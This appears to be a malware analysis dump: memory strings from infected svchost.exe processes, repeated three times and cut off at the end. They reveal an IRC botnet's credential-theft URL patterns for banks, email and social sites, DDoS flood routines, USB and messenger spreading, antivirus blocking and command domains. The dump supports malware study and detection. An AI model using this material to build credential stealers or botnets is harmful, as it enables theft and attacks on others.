%s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1020_rwx_00B10000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1104_rwx_021F0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%WinDir%\System32\svchost.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\svchost.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1164_rwx_00870000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.